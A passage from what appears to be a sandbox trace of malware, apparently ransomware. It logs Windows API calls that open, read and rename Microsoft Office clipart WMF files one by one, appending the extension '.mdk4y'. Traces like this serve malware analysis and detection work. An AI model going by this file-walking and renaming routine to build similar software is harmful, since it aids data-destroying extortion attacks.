| out: lpPerformanceCount=0x37dee4*=1823454200000) returned 1 [0159.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823454300000) returned 1 [0159.313] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.mdk4y")) returned 1 [0159.314] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.314] AreFileApisANSI () returned 1 [0159.314] GetACP () returned 0x4e4 [0159.314] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187859.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187859.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.314] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823454500000) returned 1 [0159.315] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaac, lpOverlapped=0x0) returned 1 [0159.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823459200000) returned 1 [0159.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823459200000) returned 1 [0159.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.mdk4y")) returned 1 [0159.363] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.363] AreFileApisANSI () returned 1 [0159.363] GetACP () returned 0x4e4 [0159.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187861.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187861.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823459400000) returned 1 [0159.365] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2394, lpOverlapped=0x0) returned 1 [0159.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823462000000) returned 1 [0159.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823462000000) returned 1 [0159.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.mdk4y")) returned 1 [0159.391] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.391] AreFileApisANSI () returned 1 [0159.391] GetACP () returned 0x4e4 [0159.391] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187863.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187863.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.391] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823462100000) returned 1 [0159.392] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a44, lpOverlapped=0x0) returned 1 [0159.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823468300000) returned 1 [0159.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823468300000) returned 1 [0159.454] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.mdk4y")) returned 1 [0159.455] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.455] AreFileApisANSI () returned 1 [0159.455] GetACP () returned 0x4e4 [0159.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187881.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187881.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.455] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823468500000) returned 1 [0159.455] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1258, lpOverlapped=0x0) returned 1 [0159.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823469900000) returned 1 [0159.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823469900000) returned 1 [0159.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.mdk4y")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.470] AreFileApisANSI () returned 1 [0159.470] GetACP () returned 0x4e4 [0159.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187883.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187883.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.471] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823470100000) returned 1 [0159.471] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x834, lpOverlapped=0x0) returned 1 [0159.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823472800000) returned 1 [0159.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823472800000) returned 1 [0159.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.mdk4y")) returned 1 [0159.499] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.499] AreFileApisANSI () returned 1 [0159.499] GetACP () returned 0x4e4 [0159.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187893.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187893.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.500] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823473000000) returned 1 [0159.500] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15f4, lpOverlapped=0x0) returned 1 [0159.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823474800000) returned 1 [0159.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823474800000) returned 1 [0159.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.mdk4y")) returned 1 [0159.519] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.519] AreFileApisANSI () returned 1 [0159.519] GetACP () returned 0x4e4 [0159.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187895.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187895.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.519] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823474900000) returned 1 [0159.519] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd90, lpOverlapped=0x0) returned 1 [0159.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823476700000) returned 1 [0159.538] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823476800000) returned 1 [0159.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.mdk4y")) returned 1 [0159.539] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.539] AreFileApisANSI () returned 1 [0159.539] GetACP () returned 0x4e4 [0159.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0187921.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0187921.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823477000000) returned 1 [0159.540] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1388, lpOverlapped=0x0) returned 1 [0159.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823480800000) returned 1 [0159.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823480800000) returned 1 [0159.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.mdk4y")) returned 1 [0159.580] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.580] AreFileApisANSI () returned 1 [0159.580] GetACP () returned 0x4e4 [0159.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188511.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188511.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823481100000) returned 1 [0159.581] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29dc, lpOverlapped=0x0) returned 1 [0159.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823483900000) returned 1 [0159.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823483900000) returned 1 [0159.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.mdk4y")) returned 1 [0159.610] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.610] AreFileApisANSI () returned 1 [0159.610] GetACP () returned 0x4e4 [0159.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188513.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188513.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.610] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823484100000) returned 1 [0159.611] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3004, lpOverlapped=0x0) returned 1 [0159.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823487500000) returned 1 [0159.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823487500000) returned 1 [0159.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.mdk4y")) returned 1 [0159.646] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.646] AreFileApisANSI () returned 1 [0159.646] GetACP () returned 0x4e4 [0159.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188519.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188519.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.646] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823487600000) returned 1 [0159.647] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16c0, lpOverlapped=0x0) returned 1 [0159.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823491700000) returned 1 [0159.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823491700000) returned 1 [0159.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.mdk4y")) returned 1 [0159.689] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.689] AreFileApisANSI () returned 1 [0159.689] GetACP () returned 0x4e4 [0159.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188587.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188587.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823492000000) returned 1 [0159.690] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b5c, lpOverlapped=0x0) returned 1 [0159.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823497800000) returned 1 [0159.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823497800000) returned 1 [0159.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.mdk4y")) returned 1 [0159.749] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.749] AreFileApisANSI () returned 1 [0159.749] GetACP () returned 0x4e4 [0159.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188667.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188667.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.750] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823498200000) returned 1 [0159.752] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e9e, lpOverlapped=0x0) returned 1 [0159.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823505000000) returned 1 [0159.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823505000000) returned 1 [0159.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.mdk4y")) returned 1 [0159.822] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0159.822] AreFileApisANSI () returned 1 [0159.822] GetACP () returned 0x4e4 [0159.822] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0188669.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0188669.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0159.822] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0159.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823505300000) returned 1 [0159.823] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x73a2, lpOverlapped=0x0) returned 1 [0159.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823507400000) returned 1 [0159.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823507400000) returned 1 [0159.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.mdk4y" (normalized: "c:\\program files\\microsoft 